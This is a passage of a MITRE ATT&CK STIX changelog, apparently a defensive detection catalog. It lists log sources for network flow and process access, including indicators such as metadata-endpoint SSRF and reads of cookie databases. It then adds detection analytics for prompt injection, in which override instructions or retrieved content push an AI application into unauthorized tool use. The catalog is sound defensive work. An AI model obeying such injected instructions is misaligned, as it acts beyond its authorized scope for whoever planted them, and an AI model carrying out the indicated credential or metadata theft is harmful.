                            "name": "NSM:Flow",
                            "channel": "Flow/PCAP analysis for outbound payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log + files.log + ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTPS or custom protocol traffic with large payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unexpected script or binary content returned in HTTP response body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Injected content responses with unexpected script/malware signatures"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Content injection observed in HTTPS responses with mismatched certificates or altered payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Relay patterns across IP hops"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ldap.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Probe responses from unauthorized APs responding to client probe requests"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Excessive gratuitous ARP replies on local subnet"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound HTTP POST with suspicious payload size or user-agent"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "POST requests to .php, .jsp, .aspx files with high entropy body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "dns.log"
                        },
                        {
                            "name": "NSM:FLow",
                            "channel": "dns.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Encrypted tunnels or proxy traffic to non-standard destinations"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large transfer from management IPs to unauthorized host"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ftp.log, smb_files.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ftp.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mirror/SPAN port"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ftp.log, conn.log, smb_files.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SSL/TLS Inspection or PCAP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log, ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http, dns, smb, ssl logs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "dns, ssl, conn"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log, http.log, dns.log, ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ICMP/UDP traffic (Wireshark, Suricata, Zeek)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "icmp.log, weird.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "DHCP OFFER or ACK with unauthorized DNS/gateway parameters"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Multiple DHCP OFFER responses for a single DISCOVER"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SSL/TLS Handshake Analysis"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP Header Metadata"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Network Capture TLS/HTTP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "container egress to unknown IPs/domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP Request Logging"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssh connections originating from third-party CIDRs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssh/smb connections to internal resources from third-party devices"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "host switch egress data"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Outbound HTTP/S"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log - Certificate Analysis"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log, x509.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\u00d76 + 16\u00d7MAC)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious POSTs to upload endpoints"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TLS/HTTP download with atypical MIME (application/octet-stream, application/x-zip, application/x-gzip) followed by local decode/write"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP(S)/QUIC media download with opaque content types (image/*, audio/*, video/*) from non-gallery domains or CDNs not previously used by the app"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP(S)/QUIC download of executable/opaque content (application/octet-stream, application/zip, application/java-archive, application/x-dex, application/x-sharedlib, text/javascript)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "burst of DNS queries/connection attempts to RFC1918 or local gateway immediately after scans"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTPS sessions exhibiting periodic request cadence or structured payload exchanges inconsistent with application baseline"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application-layer indicators observable via enterprise network controls (HTTP method, URI path pattern class, TLS SNI, JA3/ALPN when available, DNS qname/type) showing anomalous or low-and-slow command polling behavior"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Near-term increase in traffic to identity endpoints associated with SMS MFA, account recovery, or OTP verification (IdP, banking, crypto), correlated to SIM/service loss"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Abrupt shift from cellular egress to Wi-Fi-only egress, or new VPN/proxy session establishment following cellular service loss"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application-layer web traffic showing suspicious redirect chains, iframe/ad-tech cascades, user-agent or environment fingerprinting requests, or staged payload retrieval after page visit"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application initiates HTTPS connection with repeated certificate validation failure under enterprise proxy followed by direct network retry or stable opaque TLS communication to same endpoint within correlation window"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "App-destination pair shows consistent inspection bypass/refusal pattern followed by direct encrypted communication or repeated short-lived TLS sessions to same endpoint within correlation window"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application retrieves remote content from non-baselined domain or IP and the transfer direction is inbound to device during the file acquisition phase"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Managed iOS app retrieves remote content from non-baselined domain or IP with inbound payload transfer during the acquisition phase"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Device shows correlated inbound session establishment followed by outbound connections to separate external destinations with overlapping timing and relay-like byte symmetry"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Traffic spike preceding control crash"
                        },
                        {
                            "name": "NSM:Inspection",
                            "channel": "TLS session from mobile app fails, resets, or refuses enterprise interception while same destination/app pair repeatedly establishes direct encrypted communication pattern consistent with pinned certificate/public-key validation"
                        },
                        {
                            "name": "NSM:Inspection",
                            "channel": "TLS handshake from iOS app repeatedly fails or is rejected only when enterprise SSL inspection certificate is presented, indicating certificate or public-key pin validation effect"
                        },
                        {
                            "name": "NSM:TLS/HTTP",
                            "channel": "SNI/HTTP host or resolver endpoint identification when observable"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "SNMP request/response decoder: OID, operation type, source/destination; flag access to undocumented/vendor-internal OIDs from non-approved NMS sources"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Decoded OT/file-transfer transaction: transfer operation, source/destination, object/file identifier where exposed by the protocol, outside approved engineering/change window"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Decoded DNP3/IEC 61850 file-transfer transaction: source/destination and file/object identifier where exposed; correlate with approved engineering source and change window"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Protocol decoder/IDS transaction: traffic on an ICS service port fails expected protocol parsing/conformance or decodes as a different application protocol"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Protocol decoder/IDS transaction/signature: exploit-relevant request against ICS remote service from unexpected source, correlated with subsequent endpoint/device anomaly"
                        },
                        {
                            "name": "saas:box",
                            "channel": "API calls exceeding baseline thresholds"
                        },
                        {
                            "name": "saas:confluence",
                            "channel": "REST API access from non-browser agents"
                        },
                        {
                            "name": "TelecomLogs:SS7Signaling",
                            "channel": "Subscriber information queries, routing requests, or location update messages with anomalous node identifiers or unexpected origin patterns"
                        },
                        {
                            "name": "TelecomLogs:SS7Signaling",
                            "channel": "Location resolution, routing, or subscriber information exchanges with anomalous signaling paths or node identities"
                        },
                        {
                            "name": "Traffic",
                            "channel": "None"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Inspected HTTP transaction showing APK/package retrieval, including URL, response content type, or validated payload type"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Supervised or newly activated device initiates outbound connections to destinations outside Apple, MDM, update, or enterprise-managed baselines while locked, with no recent user interaction, or before expected app enrollment completion"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Application or device component communicates with legitimate external web-service infrastructure such as cloud storage, social media, messaging, collaboration, paste, code-hosting, CDN-backed API, or generic HTTPS service in a pattern inconsistent with the app's approved network baseline, timing, or service class"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Supervised device or managed app communicates with legitimate external web-service infrastructure such as cloud storage, messaging, collaboration, social, paste, or generic HTTPS API platforms in a pattern inconsistent with expected service baseline, managed app role, or normal background refresh behavior"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "App-attributed HTTP GET or HTTPS session to public web platform (social, paste, collaboration, cloud storage, code-hosting) returned content followed by outbound connection to a different domain or IP within TimeWindow"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "DNS query or TLS SNI for previously unseen domain occurred within TimeWindow after session to legitimate web-service domain from same app identity"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Initial session to public web-service domain transferred small response payload followed by connection to new external endpoint with different ASN or domain category"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "App-attributed session to public web-service domain included inbound content retrieval followed by outbound POST, PUT, upload, comment, message send, document update, or API write to same service class within TimeWindow"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Repeated alternating inbound and outbound sessions to same public web-service domain or API endpoint occurred from same app identity with stable recurrence interval"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Outbound write operation to public web-service domain occurred after small inbound response retrieval from same domain or service class without preceding user-visible foreground activity"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "App-attributed HTTP GET, content fetch, sync pull, or inbound-oriented HTTPS session to public web-service domain recurred within TimeWindow without app-attributed POST, PUT, PATCH, upload, comment, message send, or API write to same service class"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Repeated app-attributed retrieval from same public web-service domain or API endpoint occurred at stable recurrence interval with low outbound volume relative to inbound content"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Inbound content retrieval from public web-service domain occurred without subsequent writeback to same service class and was followed by local or downstream activity outside normal app sync profile"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "TLS handshake, HTTP method/header pattern, or WebSocket upgrade was observed on destination port outside approved port set for detected protocol during app-attributed outbound session"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Repeated app-attributed sessions to same destination or service class used non-standard destination port with stable recurrence interval or persistent connection behavior"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Destination port was not in approved protocol-to-port mapping for app identity or service class and session did not match known enterprise proxy, relay, or developer tooling exception"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Observed protocol-to-port pairing was outside approved mapping for managed bundle or service class and did not match enterprise proxy, relay, or developer tooling exception"
                        },
                        {
                            "name": "WebProxy:AccessLogs",
                            "channel": "SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)"
                        },
                        {
                            "name": "webproxy:applog",
                            "channel": "DNS/HTTP(S) inspection or proxy transaction metadata where enterprise decryption/inspection is deployed"
                        },
                        {
                            "name": "WIDS:AssociationLogs",
                            "channel": "Unauthorized AP or anomalous MAC address connection attempts"
                        },
                        {
                            "name": "WinEventLog:iis",
                            "channel": "IIS Logs"
                        },
                        {
                            "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational",
                            "channel": "Unusual external domain access"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "Outbound requests with forged tokens/cookies in headers"
                        },
                        {
                            "name": "WinEventLog:System",
                            "channel": "EventCode=5005 (WLAN), EventCode=302 (Bluetooth)"
                        },
                        {
                            "name": "zeek:conn",
                            "channel": "exploit-pattern traffic to Industrial Control Systems (ICS) server/device Internet Protocol (IP) from unexpected source, followed by behavioral anomaly within a short window"
                        },
                        {
                            "name": "zeek:ssl",
                            "channel": "Transport Layer Security (TLS) Server Name Indication (SNI) or certificate issuer does not match approved vendor domains or recognized Content Delivery Network (CDN) serving vendor content"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.2",
                    "x_mitre_domains": [
                        "ics-attack",
                        "mobile-attack",
                        "enterprise-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 00:15:15.935000+00:00\", \"old_value\": \"2026-10-13 17:43:41.384000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_log_sources'][0]\": {\"name\": \"VPN:MobileProxy\", \"channel\": \"Inspected application-package retrieval transaction, where authorized content inspection exposes the URL, response, or package type\"}, \"root['x_mitre_log_sources'][331]\": {\"name\": \"VPN:MobileProxy\", \"channel\": \"Inspected HTTP transaction showing APK/package retrieval, including URL, response content type, or validated payload type\"}}}",
                    "previous_version": "2.2"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.272000+00:00",
                    "modified": "2026-10-13 19:45:58.720000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0035",
                            "external_id": "DC0035"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Process Access",
                    "description": "Refers to an event where one process attempts to open another process, typically to inspect or manipulate its memory, access handles, or modify execution flow. Monitoring these access attempts can provide valuable insight into both benign and malicious behaviors, such as debugging, inter-process communication (IPC), or process injection.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n    -  EDR solutions that provide telemetry on inter-process access and memory manipulation.\n- Sysmon (Windows):\n    - Event ID 10: Captures process access attempts, including:\n        - Source process (initiator)\n        - Target process (victim)\n        - Access rights requested\n        - Process ID correlation\n- Windows Event Logs:\n    - Event ID 4656 (Audit Handle to an Object): Logs access attempts to system objects.\n    - Event ID 4690 (Attempted Process Modification): Can help identify unauthorized process changes.\n- Linux/macOS Monitoring:\n    - AuditD: Monitors process access through syscall tracing (e.g., `ptrace`, `open`, `read`, `write`).\n    - eBPF/XDP: Used for low-level monitoring of kernel process access.\n    - OSQuery: Query process access behavior via structured SQL-like logging.\n- Procmon (Process Monitor) and Debugging Tools:\n    - Windows Procmon: Captures real-time process interactions.\n    - Linux strace / ptrace: Useful for tracking process behavior at the system call level.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "android:logcat",
                            "channel": "Runtime grant or manifest presence for MANAGE_EXTERNAL_STORAGE/READ_EXTERNAL_STORAGE/READ_MEDIA_*; legacy external storage mode detection"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Activity/Process state change (mFocusedApp, onResume/onPause) identifying <pkg> as foreground"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Grant/activation of BIND_ACCESSIBILITY_SERVICE, BIND_INPUT_METHOD, SYSTEM_ALERT_WINDOW, POST_NOTIFICATIONS for <pkg>"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Grant/enablement for BIND_ACCESSIBILITY_SERVICE or BIND_INPUT_METHOD for <pkg>"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Grant/enablement of SYSTEM_ALERT_WINDOW, BIND_ACCESSIBILITY_SERVICE, POST_NOTIFICATIONS for <pkg>"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Reads/queries ops for PACKAGE_USAGE_STATS, QUERY_ALL_PACKAGES, BIND_DEVICE_ADMIN, BIND_VPN_SERVICE"
                        },
                        {
                            "name": "Apple TCC Logs",
                            "channel": "Microphone Access Events"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace attach"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "High frequency of accept(), read(), or SSL_read() syscalls tied to nginx/apache processes"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace syscall or access to /proc/*/mem"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ACCESS"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "execve, fork, mmap, ptrace"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace or process_vm_readv"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "Linux Audit SYSCALL/EXECVE/SOCKADDR records (configured audit rule): syscall=ptrace/process_vm_readv; process accesses an ICS service process PID from an image or UID not in the debugger/diagnostic allowlist"
                        },
                        {
                            "name": "EDR:telemetry",
                            "channel": "Sustained or high-frequency location sensor access, including background location usage"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Code signing validation events referencing newly written local Mach-O/bundle prior to exec or dlopen"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Privacy (TCC) prompts/grants for Photos/Files or access changes indicating new visibility into user/app data"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Foreground/background transition for <bundle_id> to contextualize access timing"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Keyboard extension Full Access change; privacy grant touching input/keyboard categories for <bundle_id>"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Keyboard extension Full Access change or related privacy grant for <bundle_id>"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Scene/foreground transitions for <bundle_id> to contextualize timing"
                        },
                        {
                            "name": "linux:osquery",
                            "channel": "Process State"
                        },
                        {
                            "name": "linux:osquery",
                            "channel": "process_events"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "syscalls (open, read, ioctl) on /dev/input or /proc/*/fd/*"
                        },
                        {
                            "name": "macos:endpointsecurity",
                            "channel": "ES_EVENT_TYPE_NOTIFY_OPEN"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "process_open"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "unexpected memory inspection"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "ptrace or task_for_pid"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Unexpected NSXPCConnection calls by non-Apple-signed or abnormal binaries"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Unusual Mach port registration or access attempts between unrelated processes"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem=com.apple.security, library=libsystem_kernel.dylib"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "vm_read, task_for_pid, or file open to cookie databases"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: accessibility_service or notification_listener appears attributed to a bundle IN $LegitimateSystemProcesses$ within $InjectionWindow$ of root detection \u2014 injected code requesting special permissions under a legitimate system process identit"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: kernel log entry at level=fault referencing task_for_pid or get-task-allow violation on SUPERVISED device with Unified Log forwarding \u2014 kernel records entitlement violations at fault level; requires supervised MDM with Unified Log export"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: process in $TargetProcessList$ shows unexpected behavior change (new network destinations, new permission accesses) within $InjectionWindow$ of root status change \u2014 behavioral delta in target process post-injection is the anomaly indicator"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: kernel log at level=fault referencing task_for_pid, mach_vm_write, or get-task-allow outside developer build on SUPERVISED device \u2014 Apple Unified Log kernel subsystem records these violations at fault level; supervised MDM with Unified Log"
                        },
                        {
                            "name": "WinEventLog:Security",
                            "channel": "EventCode=4663, 4670, 4656"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=10"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=25"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=10 where SourceImage outside the approved ICS vendor/process baseline accesses TargetImage associated with an ICS application or service"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=10 cross-process memory access into Industrial Control Systems (ICS) vendor process from image not in trusted security tool list, followed by unexpected termination within exploit crash correlation window"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "3.0",
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "mobile-attack",
                        "ics-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-10-13 19:45:58.720000+00:00\", \"old_value\": \"2026-10-13 17:43:48.812000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][2]\": \"ics-attack\"}}",
                    "previous_version": "3.0"
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "detectionstrategies": {
            "additions": [
                {
                    "type": "x-mitre-detection-strategy",
                    "id": "x-mitre-detection-strategy--19831744-fde0-49e1-af8f-6ae09c824524",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-11-03 01:26:13.111000+00:00",
                    "modified": "2026-11-03 01:26:13.111000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0943",
                            "external_id": "DET0943"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Adversarial Content Inducing Autonomous Defense Impairment",
                    "x_mitre_analytic_refs": [
                        "x-mitre-analytic--5f208b6c-0c6a-47fa-9daf-03cf6d69ff81"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0"
                },
                {
                    "type": "x-mitre-detection-strategy",
                    "id": "x-mitre-detection-strategy--a9b41f4c-89ba-493e-85fe-c10adbd7deed",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-11-03 00:55:25.804000+00:00",
                    "modified": "2026-11-03 01:02:37.089000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0941",
                            "external_id": "DET0941"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Instruction Override with Unauthorized AI Activity",
                    "x_mitre_analytic_refs": [
                        "x-mitre-analytic--6c25c2ec-01f9-4447-beb7-b8669c320a9c"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0"
                },
                {
                    "type": "x-mitre-detection-strategy",
                    "id": "x-mitre-detection-strategy--f47f0f6b-9faa-451a-9b6e-04625e92cbf1",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-11-03 01:07:09.705000+00:00",
                    "modified": "2026-11-03 01:07:09.705000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0942",
                            "external_id": "DET0942"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Retrieved Instruction with Unauthorized Agent Action",
                    "x_mitre_analytic_refs": [
                        "x-mitre-analytic--c2f8aa5b-8264-492c-ae7e-d0877ed1e9e6"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0"
                }
            ],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "analytics": {
            "additions": [
                {
                    "type": "x-mitre-analytic",
                    "id": "x-mitre-analytic--6c25c2ec-01f9-4447-beb7-b8669c320a9c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-11-03 01:01:48.211000+00:00",
                    "modified": "2026-11-03 01:02:36.846000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0941#AN2292",
                            "external_id": "AN2292"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Analytic 2292",
                    "description": "An analyst observes a user-originated instruction submitted to an AI application that attempts to override protected instructions or operational constraints. Within the same authenticated interaction, the AI system subsequently attempts a tool invocation, resource access, or workflow transition inconsistent with the authorized task or capability scope. The analyst correlates the originating instruction, subsequent operation, and authorization context to identify a potential successful instruction-boundary violation.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_log_source_references": [
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                            "name": "m365:unified",
                            "channel": "CopilotInteraction"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_mutable_elements": [
                        {
                            "field": "ProtectedInstructionBoundaries",
                            "description": "Instructions and operational constraints that user-originated input cannot supersede"
                        },
                        {
                            "field": "AuthorizedAIWorkflows",
                            "description": "Permitted task sequences and workflow transitions"
                        },
                        {
                            "field": "AICapabilityScopes",
                            "description": "Authorized tools, operations, resources, and actions for each actor or agent role"
                        },
                        {
                            "field": "InstructionToActionWindow",
                            "description": "Maximum interval between the submitted instruction and subsequent operation"
                        },
                        {
                            "field": "RequiredInteractionCorrelation",
                            "description": "Required actor, session, interaction, or trace identifiers linking the observations"
                        },
                        {
                            "field": "MinimumOverrideEvidence",
                            "description": "Evidence required to classify an instruction as an attempted authority override"
                        },
                        {
                            "field": "AuthorizedAdversarialTesting",
                            "description": "Approved testing identities and execution contexts"
                        }
                    ],
                    "x_mitre_platforms": [
                        "SaaS"
                    ],
                    "x_mitre_version": "1.0"
                },
                {
                    "type": "x-mitre-analytic",
                    "id": "x-mitre-analytic--c2f8aa5b-8264-492c-ae7e-d0877ed1e9e6",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-11-03 01:06:27.487000+00:00",
                    "modified": "2026-11-04 14:59:51.172000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0942#AN2293",
                            "external_id": "AN2293"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Analytic 2293",
                    "description": "An analyst observes an AI application retrieve or ingest lower-trust content containing instructions that attempt to redirect the application's behavior. Within the same agent execution context, the AI system subsequently attempts a tool invocation, resource access, or workflow transition outside the actions authorized for the original task or retrieved resource. The analyst correlates content provenance, instruction evidence, subsequent operation, and authorization context to identify potential promotion of untrusted content into operational authority.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_log_source_references": [
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                            "name": "AWS:bedrock",
